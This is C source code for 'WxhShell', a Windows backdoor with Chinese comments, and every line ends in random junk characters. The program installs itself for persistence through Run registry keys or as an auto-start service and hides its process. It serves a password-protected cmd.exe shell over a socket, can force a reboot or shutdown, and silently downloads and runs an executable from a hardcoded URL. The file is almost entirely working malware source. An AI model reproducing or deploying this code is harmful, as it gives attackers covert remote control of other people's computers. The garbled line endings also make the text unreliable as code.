    if(Boot(SHUTDOWN)) xaiA?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aS7[s6  
    else { `&)khxT/  
    closesocket(wsh); x8]9Xe:_>O  
    ExitThread(0); /K#t$O4  
    } `OY_v=}  
    break; jY]hMQ/H  
    } F-=W7 D:[c  
  // 获取shell "hwG"3n1  
  case 's': { =Yxu {]G  
    CmdShell(wsh); HMUn+kk+  
    closesocket(wsh); iNTw;ov  
    ExitThread(0); -PHVM=:  
    break; u6~|].j R  
  } )xJo/{?  
  // 退出 ]FJpe^ ua  
  case 'x': { G(alM=q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }v'jFIkhI  
    CloseIt(wsh); ,{@,dw`lUz  
    break; </K"\EU  
    } |JpLMUG  
  // 离开  TP6iSF  
  case 'q': { +["t@Q4IQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '`$US;5  
    closesocket(wsh); P|"U  
    WSACleanup(); erG;M!9\  
    exit(1); -Oo7]8  
    break; 6%mF iX  
        } { r9fKA  
  } ]-o0HY2  
  } 3^>D |  
-U6" Ce  
  // 提示信息 ''9FB5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =[O;/~J%:  
} UB3b  
  } 09Sy- je*/  
wIW]uo/=  
  return; rYnjQr2a  
} 1/t}>>,M  
\ 9T;-]  
// shell模块句柄 kfF.Ctr1a  
int CmdShell(SOCKET sock) L0_qHLY  
{ +LwE=unS  
STARTUPINFO si; O -a`A.  
ZeroMemory(&si,sizeof(si)); 4\%0a,\^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +L4_]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VP4W~;UV|\  
PROCESS_INFORMATION ProcessInfo; * \@u,[,  
char cmdline[]="cmd"; pN+lC[C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iJg3`1@j  
  return 0; L#'B-G4&y  
} 'F'v/G~F  
* i[^-  
// 自身启动模式 d#@N2  
int StartFromService(void) lFT_J?G$'  
{ b 469  
typedef struct Hu .e@7  
{ h"S+8Y:1{k  
  DWORD ExitStatus; neGCMKtzlJ  
  DWORD PebBaseAddress; {1^9*  
  DWORD AffinityMask; L]o 5=K  
  DWORD BasePriority; Wq!n8O1  
  ULONG UniqueProcessId; z.f~wAT@<  
  ULONG InheritedFromUniqueProcessId; f`X#1w9  
}   PROCESS_BASIC_INFORMATION; m/"\+Hv  
7Zl- |  
PROCNTQSIP NtQueryInformationProcess; F`9;s@V*  
|okS7.|IX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cGw*edgp6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [c@14]e  
*yGOm i  
  HANDLE             hProcess; |C9qM  
  PROCESS_BASIC_INFORMATION pbi; xN\ PQ,J  
z T|]!',  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); i)V-q9\  
  if(NULL == hInst ) return 0; o6^^hc\  
DXAA[hUjF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^Bihm] Aq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >= Hcw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s1XW}Dw  
a_5`9BL  
  if (!NtQueryInformationProcess) return 0; zmI?p4,  
^'DrU< o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b'Gn)1NE  
  if(!hProcess) return 0; 3\6 UH  
gP*:>[lR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MjMPbGUX{  
N1ZHaZ  
  CloseHandle(hProcess); >a98 H4  
S2)rkX$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C !81Km5  
if(hProcess==NULL) return 0; `Nnqdc2  
#;'1aT  
HMODULE hMod; uY;-x~Z  
char procName[255]; @RKw1$BA  
unsigned long cbNeeded; x,"'\=|s*  
GeN8_i[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  }5^j08  
!8]W"@qb  
  CloseHandle(hProcess); hqVx%4s*J  
8"+Re [  
if(strstr(procName,"services")) return 1; // 以服务启动 V ^=o@I  
2E/#fX9!4  
  return 0; // 注册表启动 Y;>0)eP  
} A(#hyb#  
8%Zl;;W  
// 主模块 J ?$4Yf  
int StartWxhshell(LPSTR lpCmdLine) '3eP<earRP  
{ V 0R;q  
  SOCKET wsl; 0q"&AxNsP  
BOOL val=TRUE; BvpGP  
  int port=0; 94"R&|  
  struct sockaddr_in door; Gk2\B]{  
.EGZv (rz&  
  if(wscfg.ws_autoins) Install(); RLr;]j8cm  
0o[p<<c*  
port=atoi(lpCmdLine); JI5?, )-St  
6R5) &L  
if(port<=0) port=wscfg.ws_port; 3/o-\wWO  
n@w$5y1@  
  WSADATA data; ;7&RmIXKh'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vWI9ocl`W  
l"!.aIY"e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pm O}m>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); swuW6p  
  door.sin_family = AF_INET; yWu80C8 q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y!fV+S,  
  door.sin_port = htons(port); NMmk,  
:<Y,^V(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { axnkuP(  
closesocket(wsl); Z6SM7? d  
return 1; [2.uwn]i  
} f&B&!&gZ  
QNzI  
  if(listen(wsl,2) == INVALID_SOCKET) { #Zk6   
closesocket(wsl); s$J0^8Q~i  
return 1; $Ne$s  
} X'e@(I!0  
  Wxhshell(wsl); AM*V4}s*9k  
  WSACleanup(); pUZe.S>G  
Xm*gH, '  
return 0; Gr&5 mniu  
j*<H18^G  
} =9FY;9  
5E?{>1  
// 以NT服务方式启动 (}vi"mCeW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ki{&,:@  
{ j%Y`2Ra  
DWORD   status = 0; v/\l  
  DWORD   specificError = 0xfffffff; 0Pu$1Fp  
Hq"i0X m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z%(m:/N70  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wqJ^tA!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N^xnx<  
  serviceStatus.dwWin32ExitCode     = 0; p E lF,Y  
  serviceStatus.dwServiceSpecificExitCode = 0; 6:i{_YX(.S  
  serviceStatus.dwCheckPoint       = 0; 3iJ4VL7  
  serviceStatus.dwWaitHint       = 0; i5w  
O8"kIDr-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BV"7Wp;  
  if (hServiceStatusHandle==0) return; )8p FPr  
*KN'0Z@W  
status = GetLastError(); yNi/JM  
  if (status!=NO_ERROR) ^C^FxIA&  
{ ,1EyT>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,IF3VE&r  
    serviceStatus.dwCheckPoint       = 0; :^j`wd1 h  
    serviceStatus.dwWaitHint       = 0; iyAeR!`  
    serviceStatus.dwWin32ExitCode     = status; f/&gR5  
    serviceStatus.dwServiceSpecificExitCode = specificError; "C&l7K;bp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,<0R'R  
    return; Pqli3(  
  } v8W.84e-  
x>d,\{U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vx62u29m  
  serviceStatus.dwCheckPoint       = 0; NK;%c-r0v7  
  serviceStatus.dwWaitHint       = 0; _TY9!:&}q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .w/w] Eq  
} 5P-7"g ca  
K?o( zh;  
// 处理NT服务事件,比如:启动、停止  yaza  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {fFZ%$  
{ XUc(7>k  
switch(fdwControl) ad1I2  
{ t>"UenJt-  
case SERVICE_CONTROL_STOP: wO9|_.Z{  
  serviceStatus.dwWin32ExitCode = 0; `dekaRo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ndq/n21j  
  serviceStatus.dwCheckPoint   = 0; #{KYsDtvx  
  serviceStatus.dwWaitHint     = 0; kk#%x#L[  
  { r0t4\d_&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U27YH1OK  
  } + 2 v6fan  
  return; CAg~K[  
case SERVICE_CONTROL_PAUSE: dJxdrs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MIma:N_c  
  break; z#9Tg"8]  
case SERVICE_CONTROL_CONTINUE: 3'tcEFkH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C'$w*^me  
  break; )tYu3*'  
case SERVICE_CONTROL_INTERROGATE: U[7 &   
  break; d1CQ;,Df<  
}; =2v/f_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HXV4E\JA  
} ? 1Os%9D*  
h|~I'M]*  
// 标准应用程序主函数 1.Kun !w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h [*/Tnr  
{ C\ 2rSyo  
;IyA"C(i  
// 获取操作系统版本 g{PEplk  
OsIsNt=GetOsVer(); >,%or cN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PgOOFRwP  
FK;3atrz  
  // 从命令行安装 m8[XA!,  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9r2l~zE  
I;xSd.-  
  // 下载执行文件 l9{}nz  
if(wscfg.ws_downexe) { *G rYB6MT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [vv $"$z  
  WinExec(wscfg.ws_filenam,SW_HIDE); lo!^h]iE!  
} M02 U,!di  
@!'rsPrI  
if(!OsIsNt) { j xc^OsYj  
// 如果时win9x,隐藏进程并且设置为注册表启动 `:b*#@  
HideProc(); ZLI t 3  
StartWxhshell(lpCmdLine); w'uB&z4'  
} '[WVP=M<XV  
else <n1panS  
  if(StartFromService()) Q DVk7ks  
  // 以服务方式启动 hs^K9Jt  
  StartServiceCtrlDispatcher(DispatchTable); i0}f@pCB?X  
else l+nT$IPF  
  // 普通方式启动 OsT|MX  
  StartWxhshell(lpCmdLine); B6kc9XG  
,,G[360  
return 0; s$gR;su)g  
} X aE;i57$l  
\s?8}k  
;mT  
Y_zMj`HE  
=========================================== Gf=3h4  
(S~kNbIa  
4`e[gvh  
oRZ98?Y\B  
OwCbv j0 #  
}el7@Gv  
" 5,R4:y ?cK  
+OI<0  
#include <stdio.h> ({3Ap{Q}  
#include <string.h> ri Z :#I  
#include <windows.h> NkV81?  
#include <winsock2.h> S6g_$ Q7  
#include <winsvc.h> ^H0#2hFa  
#include <urlmon.h> >PzZt8e  
4/ WKR3X  
#pragma comment (lib, "Ws2_32.lib") HLkI?mW<  
#pragma comment (lib, "urlmon.lib") uUiS:Tp]  
ff;~k?L  
#define MAX_USER   100 // 最大客户端连接数 #w3J+U 6r  
#define BUF_SOCK   200 // sock buffer <Umr2Vw-  
#define KEY_BUFF   255 // 输入 buffer [vY#9W"!  
oJZxRm[g$t  
#define REBOOT     0   // 重启 Ld 0*)rI#  
#define SHUTDOWN   1   // 关机 g< xE}[gF  
0xx4rp H  
#define DEF_PORT   5000 // 监听端口 b "aF-,M>  
jOU99X\0  
#define REG_LEN     16   // 注册表键长度 ?fN6_x2e3  
#define SVC_LEN     80   // NT服务名长度 hF{gN3v5  
@j!(at4B  
// 从dll定义API "=w:LRw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,CI-IR2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q_6fr$-Qh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &b`'RZe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \HIBnkj)3n  
U9\\8  
// wxhshell配置信息 twu,yC!  
struct WSCFG { }h sNsQ   
  int ws_port;         // 监听端口 eR,/} g\  
  char ws_passstr[REG_LEN]; // 口令 O,Tp,w T  
  int ws_autoins;       // 安装标记, 1=yes 0=no i\_LLXc  
  char ws_regname[REG_LEN]; // 注册表键名 tz8 fZ*n  
  char ws_svcname[REG_LEN]; // 服务名 $/lM %yXe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zf1 uK(6X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MhR`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c:e3hJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =IW!ZN_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZY8w1:'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O_qwD6s-_  
B~^*@5#0|  
}; }AA">FF'y4  
0zA;%oP  
// default Wxhshell configuration 8 R%<~fq r  
struct WSCFG wscfg={DEF_PORT, #6 vf:94  
    "xuhuanlingzhe", Xy%||\P{)  
    1, ~&<t++ g  
    "Wxhshell", PJ; WNo8  
    "Wxhshell", bZ1*:k2  
            "WxhShell Service", 9tU"+  
    "Wrsky Windows CmdShell Service", (~eS$8>.  
    "Please Input Your Password: ", Q 8Hl7__^  
  1, 24nNRTI  
  "http://www.wrsky.com/wxhshell.exe", $m)gfI]9  
  "Wxhshell.exe" I5q $QQK  
    }; Pc*lHoVL  
D{s87h  
// 消息定义模块 =3c?W&:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %'ah,2a%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kmc_%Wm}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Uy)=]Zae  
char *msg_ws_ext="\n\rExit."; ~CT]&({  
char *msg_ws_end="\n\rQuit."; EYn?YiVFU  
char *msg_ws_boot="\n\rReboot..."; McN[  
char *msg_ws_poff="\n\rShutdown..."; *ma w`1  
char *msg_ws_down="\n\rSave to "; bJetqF6 n  
s2"`j-iQ  
char *msg_ws_err="\n\rErr!"; j &,Gv@  
char *msg_ws_ok="\n\rOK!"; WM`3QJb  
{daX?N|V  
char ExeFile[MAX_PATH]; OA*O =  
int nUser = 0; 9c[X[ Qc  
HANDLE handles[MAX_USER]; u+Ix''Fn#%  
int OsIsNt; )-_^vB  
8 7(t<3V&  
SERVICE_STATUS       serviceStatus; 9:4S[mz/hD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'o6}g p)  
aSvv(iV  
// 函数声明 ~*7$aj  
int Install(void); }ofb]_C,  
int Uninstall(void); Vt(Wy  
int DownloadFile(char *sURL, SOCKET wsh);  y Ne?a{  
int Boot(int flag); @>Yd6C  
void HideProc(void); !nSa4U,$w<  
int GetOsVer(void); q4[8\Ua  
int Wxhshell(SOCKET wsl); GZ~Tl0U  
void TalkWithClient(void *cs); =}#yi<Lt  
int CmdShell(SOCKET sock); .p! DVQ"a  
int StartFromService(void); O3@DU#N&s  
int StartWxhshell(LPSTR lpCmdLine); #zTy7ZS,0  
w2.] 3QAZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?OFa Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >O?WRC B  
gLX<> |)*  
// 数据结构和表定义 n7fhc*}:`  
SERVICE_TABLE_ENTRY DispatchTable[] = a2B71RT~  
{ ;&&<zWq3h  
{wscfg.ws_svcname, NTServiceMain}, ]UkH}Pt'3  
{NULL, NULL} -`I|=lBz{H  
}; QCW4gIp  
`f;w  
// 自我安装 bFX{|&tHU  
int Install(void) OM[MRZEh G  
{ AB'+6QU9k  
  char svExeFile[MAX_PATH]; S/XU4i:aV  
  HKEY key; ri{*\LV*@  
  strcpy(svExeFile,ExeFile); Cjf[]aNJe`  
nZbI}kcm  
// 如果是win9x系统,修改注册表设为自启动 Jj\4P1|'7  
if(!OsIsNt) { Ei_ ~ K';  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~pRgTXbz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !:|*!  
  RegCloseKey(key); ie6 c/5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :cC$1zv@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .J75bX5  
  RegCloseKey(key); /xk7Z q  
  return 0; :ZXd%  
    } 77@N79lqO  
  } j+_fHADq  
} .rtA sbp.!  
else { KrpIH6  
3^UdB9j;  
// 如果是NT以上系统,安装为系统服务 _Q5mPBO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U=G49 ~E  
if (schSCManager!=0) ]lC%HlID  
{ g0grfGo2p  
  SC_HANDLE schService = CreateService Ocdy;|&  
  ( zTg\\z;  
  schSCManager, ,0! 2x"Q=  
  wscfg.ws_svcname, ({!!b"B2  
  wscfg.ws_svcdisp, 2 l)"I  
  SERVICE_ALL_ACCESS, >s^$ -  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \1<'XVS  
  SERVICE_AUTO_START, i5}Zk r  
  SERVICE_ERROR_NORMAL, Rml'{S  
  svExeFile, j*DPW)RkKX  
  NULL, GY]P(NU  
  NULL, N1~bp?$1  
  NULL, kZw"a*6  
  NULL, wm`<+K  
  NULL vXDs/,`r  
  ); cdMSC7l!  
  if (schService!=0) |owr?tC  
  { _@ao$)q{J  
  CloseServiceHandle(schService); 6iU&9Z<%  
  CloseServiceHandle(schSCManager); L )JB^cxf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fUjo',<s  
  strcat(svExeFile,wscfg.ws_svcname); ]pR?/3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; JkSZs3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _N`.1Dl%Q  
  RegCloseKey(key); z&%i"IY  
  return 0; Pm/<^z%  
    } RCR= W6  
  } Sb`[+i' `  
  CloseServiceHandle(schSCManager); A%8 Q}s$<s  
} D^[l~K  
} & &}_[{fc  
['mpxtG  
return 1; V+`kB3GV  
} Clum m@z;#  
]F y' M  
// 自我卸载 !eyLh&]5  
int Uninstall(void) KR?;7*qF  
{ *wTX  
  HKEY key; Nn05me"X  
xTAfV N  
if(!OsIsNt) { =z# trQ{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,XT,t[w  
  RegDeleteValue(key,wscfg.ws_regname); g6Vkns4  
  RegCloseKey(key); {"wF;*U.V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &ivU4rEG  
  RegDeleteValue(key,wscfg.ws_regname); e@h{Ns.1-  
  RegCloseKey(key); oZ%uq78#[%  
  return 0; ^OV; P[  
  } *Dp&;,b  
} ]KFh 1  
} rp@:i _]  
else { wC{sP"D  
']nIa7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "uBnK!  
if (schSCManager!=0) fV"Y/9}(  
{ &[d'g0pF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7\UHADr  
  if (schService!=0) +~"IF+T RH  
  { B /;(#{U;  
  if(DeleteService(schService)!=0) { \Tz|COG5h\  
  CloseServiceHandle(schService); 'Dfs&sm  
  CloseServiceHandle(schSCManager); *ra)u-  
  return 0; \m7\}Nbz0/  
  } li*S^uSF  
  CloseServiceHandle(schService); 2* g2UP  
  } gN/!w:  
  CloseServiceHandle(schSCManager); =CQfs6np:N  
} &kb~N-  
} o CCtjr  
u$JAjA  
return 1; J`5VE$2M  
} u(Mbp$R' ?  
:-x?g2MY  
// 从指定url下载文件 od!44p]  
int DownloadFile(char *sURL, SOCKET wsh) "r6qFxY  
{ b()8l'x_|K  
  HRESULT hr; "W5MZ  
char seps[]= "/"; 1:eWZ]B5"  
char *token; O8Mypv/C  
char *file; XGZZKvp  
char myURL[MAX_PATH]; ;W{z"L;nX  
char myFILE[MAX_PATH]; @JSWqi>  
v o:KL%)  
strcpy(myURL,sURL); 'wPX.h?  
  token=strtok(myURL,seps); o*$KiD  
  while(token!=NULL) t3$cX_  
  { 'N{1b_v?  
    file=token; pqg2#@F.  
  token=strtok(NULL,seps); $l ,U)  
  } u/W{JPlL  
Y's=31G@  
GetCurrentDirectory(MAX_PATH,myFILE); 1'~+.92Y  
strcat(myFILE, "\\"); -, +o*BP  
strcat(myFILE, file); m !:F/?B  
  send(wsh,myFILE,strlen(myFILE),0); Rc)]A&J  
send(wsh,"...",3,0); "0!#De  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $U,]c  
  if(hr==S_OK) 7UBW3{d/u5  
return 0; ;FlDRDZ%  
else 6%EpF;T`  
return 1; v_5O*F7)  
 '0f!o&?g  
} Fz8& Jn!  
LEKE+775  
// 系统电源模块 PClwGO8'&  
int Boot(int flag) 1g!%ej jd  
{ k<*1mS8  
  HANDLE hToken; @ceL9#:uc  
  TOKEN_PRIVILEGES tkp; #z}IW(u<  
KG5B6Om5'  
  if(OsIsNt) { r-BqIoVT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z<"\I60Fe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q[Y* .%~  
    tkp.PrivilegeCount = 1; NLWj5K)1P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Z?\9'6e4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > m9ge`!9  
if(flag==REBOOT) { ~xZ )btf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {7Ez7'SVV  
  return 0; p t{/|P  
} h1_KZ[X  
else { 5[qx5|O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l$p"%5 ]_  
  return 0; /Bnh%6#ab  
} YsjTC$Tx,  
  } 6v -2(Y  
  else { `WU"*HqW  
if(flag==REBOOT) { [k +fkr]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U}`HN*Q.q  
  return 0; o@\q6xl.  
} My >{;n=}  
else { I'uRXvEr7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i3y>@$fRL\  
  return 0; Z"<tEOs/En  
} eYjr/`>O  
} ab5z&7Re6  
FU~:9EEx  
return 1; oxm3R8 S  
} n47v5.Wn  
mm<rdo(`  
// win9x进程隐藏模块 C@ z^{Z+  
void HideProc(void) {Uu|NA87Cd  
{ Y_&)>;  
of:xj$dQ_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0~XZ  
  if ( hKernel != NULL ) ny~~xQ"  
  { 1~q|%"J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NvfQa6?;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -z4pI=  
    FreeLibrary(hKernel); fL&bN[XA"$  
  } Xn3Ph!\Z5e  
. ),m7"u|  
return; @ (A[H^E  
} .qBf`T;  
Ik4U+'z6  
// 获取操作系统版本 E|d 8vt  
int GetOsVer(void) /g!', r,  
{ &De&ZypU  
  OSVERSIONINFO winfo; +K%4jIm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7.l[tKh  
  GetVersionEx(&winfo); l;SqjkN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9IC|2w66  
  return 1; qG%'Lt  
  else ^J]~&.l  
  return 0; !7lS=D(?  
} Iw$7f kq  
LMrb 1lg$  
// 客户端句柄模块 3X&}{M:Qo  
int Wxhshell(SOCKET wsl) /-l7GswF  
{ 0ZXG{Gp9S  
  SOCKET wsh; ]QS? fs Z  
  struct sockaddr_in client; f6ad@2  
  DWORD myID; 8I'c83w  
zR+EJFf  
  while(nUser<MAX_USER) IgOo2N"^l  
{ Y\ len  
  int nSize=sizeof(client); iy{*w&p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :.IVf Zw  
  if(wsh==INVALID_SOCKET) return 1; ~ b ;%J:  
 T^ ^o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >?q()>l  
if(handles[nUser]==0) uf (`I  
  closesocket(wsh); FaC;vuSpy  
else wTGH5}QZ+  
  nUser++; @O/-~, E68  
  } \4`~ J@5Y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eEkF Zx  
I_IDrS)O  
  return 0; 'dp3>4  
} "]81+ D  
jX79Nm|  
// 关闭 socket X/fk&Cp  
void CloseIt(SOCKET wsh) +v3@WdLcD  
{ #N?EPV$  
closesocket(wsh); {i)k#`  
nUser--; ~ r6qnC2  
ExitThread(0); (5] |Kcp|  
} NuKktQd  
6u`E{$  
// 客户端请求句柄 vd>X4e ^j  
void TalkWithClient(void *cs) n5X0Gi9  
{ j_VTa/  
< ) L'h  
  SOCKET wsh=(SOCKET)cs; 't:|>;Wx  
  char pwd[SVC_LEN]; A>8uLO G}  
  char cmd[KEY_BUFF]; Bkvh]k;F8  
char chr[1]; @sRUl ,M;Z  
int i,j; 5(0f"zY  
WZ @/'[  
  while (nUser < MAX_USER) { 8.4 1EKr2  
WV]%llj^  
if(wscfg.ws_passstr) { *5'U3py  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RO(~c-fV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t .*z)N  
  //ZeroMemory(pwd,KEY_BUFF); MYgh^%w:  
      i=0; TxL;qZRY ^  
  while(i<SVC_LEN) { ?-mDvW  
Gq_rZo(@  
  // 设置超时 $\BRX\6(-  
  fd_set FdRead; VPG+]> *  
  struct timeval TimeOut; d7 )&Z:  
  FD_ZERO(&FdRead); 8zv=@`4@G  
  FD_SET(wsh,&FdRead); #-b0U[,.  
  TimeOut.tv_sec=8; GRV#f06  
  TimeOut.tv_usec=0; egcJ@Of  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "iFA&$\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]B'Ac%Rx  
kigq(a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *7.EL`8  
  pwd=chr[0]; P70\ |M0~y  
  if(chr[0]==0xd || chr[0]==0xa) { 6E~T$^Q}  
  pwd=0; )c vA}U.z  
  break; ^B[%|{cO  
  } ].Mr&@  
  i++; x8H%88!j*  
    } ,})x1y  
Q"UWh~  
  // 如果是非法用户,关闭 socket 9Yih%d,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +3B^e%`NPm  
} 72oiO[>N'  
?@W=bJ8{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z]-C,8MM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (x7AV$N  
a&yIH;-  
while(1) { @.T w*t  
n^O Wz4  
  ZeroMemory(cmd,KEY_BUFF); Gt{'` P,&9  
xsjJ8>G  
      // 自动支持客户端 telnet标准   P $4h_dw  
  j=0; Yv0;UKd  
  while(j<KEY_BUFF) { _y~H#r9:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rN3i5.*/t  
  cmd[j]=chr[0]; XAN{uD^3\%  
  if(chr[0]==0xa || chr[0]==0xd) { - zaqL\  
  cmd[j]=0; FQNw89g  
  break; xgl~4  
  } ni @Mqb  
  j++; C^Jf&a  
    } :/e= J  
" bHeNWZ  
  // 下载文件 cI#2MjL  
  if(strstr(cmd,"http://")) { \VW&z:/*pZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8 jom)a  
  if(DownloadFile(cmd,wsh)) J:M)gh~#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z  Mp  
  else TF %8pIg>Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D8+68_BEM  
  } o!Vs{RRu}  
  else { 7h?yAgDv~  
3HsjF5?W  
    switch(cmd[0]) { g*9jPwdG  
